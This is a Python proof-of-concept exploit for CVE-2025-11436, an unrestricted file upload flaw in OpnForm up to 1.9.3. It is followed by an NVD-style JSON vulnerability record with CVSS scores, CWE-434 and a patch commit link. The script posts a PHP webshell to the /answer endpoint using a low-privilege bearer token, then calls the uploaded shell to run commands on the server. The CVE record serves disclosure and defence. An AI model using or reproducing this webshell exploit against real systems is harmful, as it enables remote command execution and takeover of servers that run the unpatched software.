CVE-2025-11436

# CVE-2025-11436 - JhumanJ OpnForm Unrestricted Upload PoC # Affected: JhumanJ OpnForm <= 1.9.3 # Vulnerable endpoint: /answer import requests # Target configuration TARGET_URL = "http://target-opnform-instance.com" AUTH_TOKEN = "your_auth_token_here" # Low-privilege authenticated session token # Malicious PHP webshell payload MALICIOUS_FILE = { "file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php") } # Form data mimicking legitimate form submission FORM_DATA = { "form_id": "1", "field_name": "answer" } # Headers for authenticated request HEADERS = { "Authorization": f"Bearer {AUTH_TOKEN}", "User-Agent": "Mozilla/5.0" } def exploit(): """ Exploit unrestricted file upload vulnerability in OpnForm /answer endpoint. Uploads a PHP webshell bypassing file type validation. """ upload_url = f"{TARGET_URL}/answer" # Step 1: Upload malicious file to vulnerable endpoint response = requests.post( upload_url, files=MALICIOUS_FILE, data=FORM_DATA, headers=HEADERS, verify=False ) if response.status_code == 200: print(f"[+] Upload successful!") # Step 2: Access uploaded webshell for RCE shell_url = f"{TARGET_URL}/uploads/shell.php?cmd=id" shell_response = requests.get(shell_url) print(f"[+] Command output: {shell_response.text}") else: print(f"[-] Upload failed with status: {response.status_code}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-11436", "sourceIdentifier": "[email protected]", "published": "2025-10-08T06:15:34.883", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in JhumanJ OpnForm up to 1.9.3. Affected by this issue is some unknown functionality of the file /answer. The manipulation results in unrestricted upload. The attack can be launched remotely. The exploit is now public and may be used. The patch is identified as 95c3e23856465d202e6aec10bdb6ee0688b5305a. It is advisable to implement a patch to correct this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jhumanj:opnform:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.9.3", "matchCriteriaId": "C896A041-D9C4-42F0-9477-C57E07D6EFF6"}]}]}], "references": [{"url": "https://docs.google.com/document/d/1GUjJA9vUbsXUngAv6ySsbCIhVynf8_djardLZYEDOe0/edit?tab=t.0#heading=h.dm5ttliupfqn", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/JhumanJ/OpnForm/pull/900/commits/95c3e23856465d202e6aec10bdb6ee0688b5305a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://vuldb.com/?ctiid.327373", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327373", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.666877", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}